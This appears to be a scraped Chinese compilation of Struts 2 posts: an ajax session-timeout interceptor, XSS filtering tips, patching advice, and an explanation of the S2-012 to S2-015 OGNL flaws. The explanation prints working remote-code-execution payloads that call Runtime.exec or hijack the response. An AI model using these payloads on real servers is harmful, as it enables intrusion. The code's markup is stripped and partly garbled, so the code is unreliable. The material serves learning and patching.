本文目录一览:
- 1、struts2拦截器过滤放行后ajax请求后参数丢了
- 2、Struct2+Spring 架构JavaWeb项目,出现xss跨站脚本攻击漏洞解决方案??
- 3、关于struts 2为什么会有代码执行漏洞的小帖子
- 4、struts2漏洞是什么
- 5、怎么修复apache struts 2 漏洞
- 6、struts2 有没有jar包能防止xss攻击
struts2拦截器过滤放行后ajax请求后参数丢了
在Session过期时,执行页面的ajax请求时,无法正常跳转到session过期提示页面,系统直接hold在那里不动,只有点击左侧菜单时,系统才能跳转到session过期提示页面。
经过调研,发现是拦截器的处理问题,拦截器只拦截了Http请求,而没有拦截Ajax请求,才导致出现上述Bug。
下面是解决办法:
首先,优化拦截器:
[java]
/**
* 拦截器
* @author lyh
* @version 2013-11-1
* @see LoginFilter
* @since
*/
public class LoginFilter implements Interceptor
{
/**
* 序列号
*/
private static final long serialVersionUID = -4979037503367919375L;
/**
* 日志
*/
private static final Logger LOG = Logger.getLogger(LoginFilter.class);
/**
* ajax session超时返回值
*/
private static String AJAX_TIME_OUT = null;
/**
* ajax 请求无权限返回值
*/
private static String AJAX_NO_LIMIT = null;
/**
* ajax 请求异常返回值 (在每个ajax请求中处理)
*/
//private static String AJAX_EXCEPTION = null;
/**
* 放行url
*/
private static ListString awayUrls = null;
static
{
AJAX_TIME_OUT = "ajaxSessionTimeOut";
AJAX_NO_LIMIT = "ajaxNoLimit";
//AJAX_EXCEPTION = "ajaxException";
awayUrls = new LinkedListString();
//awayUrls.add("/login!userLogin.action");
//awayUrls.add("/custom!toLogin.action");
awayUrls.add("/equipment!upLoad.action");
}
@Override
public String intercept(ActionInvocation invocation)
throws Exception
{
//获取request域中信息
HttpServletRequest req = ServletActionContext.getRequest();
//获得当前请求url
String url = req.getServletPath();
//获得请求类型
String type = req.getHeader("X-Requested-With");
//Object object = (Object)invocation.getAction();
//如果当前url在放行url集合内 则直接放行
if (!awayUrls.contains(url))
{
UserInfoBean userinfo = (UserInfoBean)req.getSession().getAttribute(
CommonConstant.AUTH_SESSION_USER_KEY);
if (userinfo == null)
{
LOG.debug("用户登录会话已过期!");
//ajax请求 session过期时 返回字符串
if ("XMLHttpRequest".equalsIgnoreCase(type))
{
PrintWriter printWriter = ServletActionContext.getResponse().getWriter();
printWriter.print(AJAX_TIME_OUT);
printWriter.flush();
printWriter.close();
return null;
}
//普通http请求 直接返回页面
else
{
return "sessionTimeOut";
}
}
else
{
//鉴权结果
boolean authFlag = false;
try
{
//执行鉴权
authFlag = userManager_Service.isUrlInUserLimit(userinfo.getU_phone_num(),
url);
}
catch (Exception e)
{
LOG.error(" 鉴权出现异常!异常信息:" + e.toString() + ":" + e.getMessage());
}
//鉴权通过则放行 否则拦截
if (authFlag)
{
return invocation.invoke();
}
//鉴权不通过
else
{
//ajax请求 session过期时 返回字符串
if ("XMLHttpRequest".equalsIgnoreCase(type))
{
PrintWriter printWriter = ServletActionContext.getResponse().getWriter();
printWriter.print(AJAX_NO_LIMIT);
printWriter.flush();
printWriter.close();
return null;
}
//其他Http请求 直接返回页面
else
{
return "noLimit";
}
}
}
}
else
{
return invocation.invoke();
}
}
@Override
public void destroy()
{
//do yourself
}
@Override
public void init()
{
//do yourself
}
}
上述拦截器考虑了Ajax和Http两种情况,Http请求被拦截时,直接跳转到指定的全局页面,而Ajax请求被拦截时则采用Js方式提示用户。
[html]
package name="self-default" extends="json-default"
interceptors
interceptor name="loginFilter" class="a549-04f8-f6d4-e17f xx.xx.LoginFilter" /
interceptor-stack name="mydefault"
interceptor-ref name="defaultStack"/
interceptor-ref name="tokenSession"
param name="includeMethods"add*,update*,modify*,upload*/param
/interceptor-ref
interceptor-ref name="loginFilter" /
/interceptor-stack
/interceptors
!-- 拦截器应用到全部action --
default-interceptor-ref name="mydefault"/
global-results
!-- 普通http请求时 系统出现异常返回到错误页 --
result name="exception"/file/smartmanager/public/globalException.jsp/result
!-- 普通http请求时 无操作权限 --
result name="noLimit"/file/smartmanager/public/noLimit.jsp/result
!-- 普通http请求时 session过期 --
result name="sessionTimeOut"/file/smartmanager/public/sessionTimeOut.jsp/result
/global-results
global-exception-mappings
!-- 全局异常返回exception字符串 --
exception-mapping exception="java.lang.Exception" result="exception" /
/global-exception-mappings
/package
下面是一个简单的Action例子:
[java]
public class MyAction
{
/**
* Http请求
* @return
* @throws Exception
* @see
*/
public String httpReqMethod()
throws Exception
{
try
{
//do yourself
}
catch(Exception e)
{
//捕获异常时抛出 触发global-results中的exception 然后跳转到提示页面
throw e;
}
return "httpReqMethod";
}
/**
* Ajax请求
* @return
* @throws Exception
* @see
*/
public String ajaxReqMethod()
{
try
{
//do yourself
}
catch(Exception e)
{
//no throw
//此处在捕获异常时 添加提示信息至json 方便在页面展示
//ajaxMap.put("success", false);
//ajaxMap.put("opMsg", ResultMsg.CHANGE_PWD_ERROR);
}
return "ajaxReqMethod";
}
}
配置此Action的xml(此Action需要被拦截 故extends定义的拦截器self-default):
[html]
package name="willPackage" extends="self-default" namespace="/"
action name="my_*" class="04f8-f6d4-e17f-e9ed xx.xx.MyAction" method="{1}"
result name="httpReqMethod"/file/smartmanager/main/httpReqMethod.jsp/result
result name="ajaxReqMethod" type="json"
param name="root"ajaxMap/param
/result
/action
/package
全局提示页面,globalException.jsp:
[html]
%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%
!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" ""
html
head
titlexxx管理系统/title
meta http-equiv="Content-Type" content="text/html; charset=UTF-8"
link rel="icon" href="file/img/rhy.ico" type="image/x-icon" /
link rel="shortcut icon" href="file/img/rhy.ico" type="image/x-icon" /
link rel="stylesheet" type="text/css" href="${pageContext.request.contextPath}/file/css/easyui.css" /link
link rel="stylesheet" type="text/css" href="${pageContext.request.contextPath}/file/css/icon.css" /link
script type="text/javascript" src="${pageContext.request.contextPath}/file/scripts/jquery-1.8.3.min.js"/script
script type="text/javascript" src="${pageContext.request.contextPath}/file/scripts/jquery.easyui.min.js"/script
script type="text/javascript" src="${pageContext.request.contextPath}/file/scripts/easyui-lang-zh_CN.js"/script
body
script type="text/javascript"
$(function(){
$.messager.alert('操作提示','系统内部异常!请联系系统管理员!','warning');
});
/script
/body
全局ajax配置publicSetup.js:
[javascript]
//全局ajax控制,用于session超时 无权限时 提示
$.ajaxSetup({
cache: false, //close AJAX cache
contentType:"application/x-www-form-urlencoded;charset=utf-8",
complete:function(XHR,textStatus){
var resText = XHR.responseText;
if(resText=='ajaxSessionTimeOut'){
sessionTimeOut();
}
else if(resText=='ajaxNoLimit'){
noLimit();
}
}
});
Struct2+Spring 架构JavaWeb项目,出现xss跨站脚本攻击漏洞解决方案??
没用到富文本的话可以用spring里的HtmlUtils.htmlEscape(string str)来对parameter转码。是用filter还是其他方式都可以
关于struts 2为什么会有代码执行漏洞的小帖子
Struts结构
把里面的例子在tomcat里部署一下,就可以测试了。简单说一下struts 2的结构。
struts 2的安装是在web.xml里添加这样的一句,将Struts2所带的过滤器org.apache.struts2.dispatcher.FilterDispatcher配置到工程的web.xml文件中,默认情况下,该过滤器拦截请求字符串中以.action结尾的请求,并将该请求委托给指定的Action进行处理
filter
filter-namestruts2/filter-name
filter-classorg.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter/filter-class
/filter
filter-mapping
filter-namestruts2/filter-name
url-pattern/*/url-pattern
/filter-mapping
关于action的定义是在struts.xml中,其中default-action-ref是所有action都捕获不到时的选项。
result type="redirectAction"的作用是捕获到该action重定向到其他页面。
最后include了另外一个XML
package name="default" namespace="/" extends="struts-default"
default-action-ref name="index" /
global-results
result name="error"/error.jsp/result
/global-results
global-exception-mappings
exception-mapping exception="java.lang.Exception" result="error"/
/global-exception-mappings
action name="index"
result type="redirectAction"
param name="actionName"HelloWorld/param
param name="namespace"/example/param
/result
/action
/package
include file="example.xml"/
这个example.xml定义了action的具体实现,最后一个action通配符这里{1}代表了第一个通配符所匹配到的字符串。
package name="example" namespace="/example" extends="default"
action name="HelloWorld" class="f6d4-e17f-e9ed-ff96 example.HelloWorld"
result/example/HelloWorld.jsp/result
/action
action name="Login_*" method="{1}" class="e17f-e9ed-ff96-5495 example.Login"
result name="input"/example/Login.jsp/result
result type="redirectAction"Menu/result
/action
action name="*" class="e9ed-ff96-5495-260d example.ExampleSupport"
result/example/{1}.jsp/result
/action
!-- Add actions here --
/package
OGNL语法
struts使用了OGNL,虽然不知道为什,但是OGNL还是很强大的。
关于它的特性可以看下面的几个页面
Struts近期漏洞
漏洞列表,这里命令执行漏洞的利用方法,多是找到一处可以OGNL解析的地方,POC的构造大同小异
S2-015
官方描述
A vulnerability introduced by wildcard matching mechanism or double evaluation of OGNL Expression allows remote command execution.
触发条件
当*匹配到一串精心构造的OGNL语句时,会把它放到{1}中,形成OGNL二次执行。
action name="*" class="ff96-5495-260d-52fb example.ExampleSupport"
result/example/{1}.jsp/result
/action
POC
一般来说Struts EXp中allowStaticMethodAccess和xwork.MethodAccessor.denyMethodExecution应该是常客,规定了OGNL中是否可以调用静态变量。
最后的.action是为了让拦截器捕捉,最后进入{1}的是前面的部分
${
%23context['xwork.MethodAccessor.denyMethodExecution']=!(%23_memberAccess['allowStaticMethodAccess']=true),
(@java.lang.Runtime@getRuntime()).exec('calc').waitFor()
}.action
如果页面返回像这样,说明执行成功,0是waitFor()返回的值。
HTTP ERROR 404
Problem accessing /struts2-blank/example/0.jsp. Reason:
Not Found
详细原理这里不作分析,因为别人都做好了。其中提到 JavaSnoop的代码审核工具,貌似不错。
S2-014
官方描述
A vulnerability introduced by forcing parameter inclusion in the URL and Anchor Tag allows remote command execution, session access and manipulation and XSS attacks
触发条件
URL标签的includeParams为get或all
s:url id="url" action="HelloWorld" includeParams="all"
Demo里面的情况如下,%{url}是上面定义的URL标签,当includeParams为all时,会把get或post提交的参数添加到自身的param列表中
li
s:url id="url" action="HelloWorld" includeParams="all"
s:param name="request_locale"en/s:param
/s:url
s:a href="%{url}"English/s:a
/li
POC
执行代码
{%23_memberAccess[%22allowStaticMethodAccess%22]=true,@java.lang.Runtime@getRuntime().exec('calc')}
修改Session
{%23session[%22hacked%22]='true'}
不过在执行的时候爆了一个错误,原因不明。
java.lang.ProcessImpl%40e3fda7
S2-013
官方描述
A vulnerability, present in the includeParams attribute of the URL and Anchor Tag, allows remote command execution
触发条件
这个洞和S2-014原理相同,因为官方没修不好而报了两次。
POC
这个可以成功执行
(%23_memberAccess%5B'allowStaticMethodAccess'%5D%3Dtrue)(%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse)(%23writer%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23writer.println('hacked')%2C%23writer.close())%7D
翻译成人类能看懂的,这个利用还是很有意思的
?fakeParam=%{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.MethodAccessor.denyMethodExecution']=false)(#writer=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#writer.println('hacked'),#writer.close())}
S2-012
官方描述
Showcase app vulnerability allows remote command execution
触发条件需要定义一个 type为redirect的result,从这里可以看出,直接把利用代码贴到${currentSkill.name}这里就可以了
action name="save" class="5495-260d-52fb-5213 org.apache.struts2.showcase.action.SkillAction" method="save"
result type="redirect"edit.action?skillName=${currentSkill.name}/result
/action
POC
PRE class=code-java style="PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 5px 5px 5px 15px; LINE-HEIGHT: 13px; PADDING-RIGHT: 0px" name="code"%{(#_memberAccess['allowStaticMethodAccess']=SPAN class=code-keyword style="COLOR: rgb(0,0,145)"true/SPAN)(#context['xwork.MethodAccessor.denyMethodExecution']=SPAN class=code-keyword style="COLOR: rgb(0,0,145)"false/SPAN) #hackedbykxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#hackedbykxlzx.println('hacked by kxlzx'),#hackedbykxlzx.close())}/PRE
PRE/PRE
H3A name=t8/AS2-011/H3
DIV官方描述,DOS和我关系不大/DIV
DIV sizcache="1" sizset="29"PRE class=html name="code"Long request parameter names might significantly promote the effectiveness of DOS attacks/PREBR
H3A name=t9/AS2-010/H3
/DIV
DIV官方描述/DIV
DIV这个是关于令牌的,看来命令执行漏洞是近期才涌现出来的。/DIV
DIV sizcache="1" sizset="30"PRE class=html name="code"When using Struts 2 token mechanism for CSRF protection, token check may be bypassed by misusing known session attributes/PREBR
BR
/DIV
BR
%{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.MethodAccessor.denyMethodExecution']=false) #hackedbykxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#hackedbykxlzx.println('hacked by kxlzx'),#hackedbykxlzx.close())}
S2-011
官方描述,DOS和我关系不大
Long request parameter names might significantly promote the effectiveness of DOS attacks
S2-010
官方描述
这个是关于令牌的,看来命令执行漏洞是近期才涌现出来的。
div class="260d-52fb-5213-b0cd dp-highlighter bg_html"
When using Struts 2 token mechanism for CSRF protection, token check may be bypassed by misusing known session attributes
struts2漏洞是什么
1. Struts2的重定向漏洞
根据Apache给出的漏洞修复方案,只是升级了jar包版本2.3.16
升级完成后所有页面访问都出现了404,如下bug:
There is no Action mapped for namespace [/] and action name [XX!XX] associated with context path....
解决办法:当时好像使用了Dynamic Method Invocation 动态方法调用,然后Struts.xml文件都修改了通配符和占位符匹配。
2. Struts2 OGNL的高危漏洞S-045
Struts使用的Jakarta解析文件上传请求包不当,当远程攻击者构造恶意的Content-Type,可能导致远程命令执行。
针对此问题做出如下修改:
(1)根据Apache给出的漏洞修复方案,升级Struts2相关jar到2.3.32
(2)关于上传文件部分做出如下验证
1上传文件非空验证;
2上传文件格式验证;
3上传文件验证MimeType;
4文件是否可被修改高宽或裁剪(本次项目上传完文件为图片)
5文件保存路径重命名。
学习java知识,推荐北京尚学堂,我们拥有多年编程培训经验,会让你在学习的时候快人一步!
怎么修复apache struts 2 漏洞
官方建议修复方案:升级到最新版本 struts-2.3.15.1
但通常现有系统升级,可能导致不稳定及与其他框架比如spring等的不兼容,成本较高。
struts2 有没有jar包能防止xss攻击
配置struts.xml
package name="default" namespace="/"
extends="struts-default, json-default"
!-- 配置拦截器 --
interceptors
!-- 定义xss拦截器 --
interceptor name="xssInterceptor" class="52fb-5213-b0cd-25ad ...此处填写拦截器类名"/interceptor
!-- 定义一个包含xss拦截的拦截栈 --
interceptor-stack name="myDefault"
interceptor-ref name="xssInterceptor"/interceptor-ref
interceptor-ref name="defaultStack"/interceptor-ref
/interceptor-stack
/interceptors
!-- 这个必须配置,否则拦截器不生效 --
default-interceptor-ref name="myDefault"/default-interceptor-ref
action
...此处省略n个action
/action
/package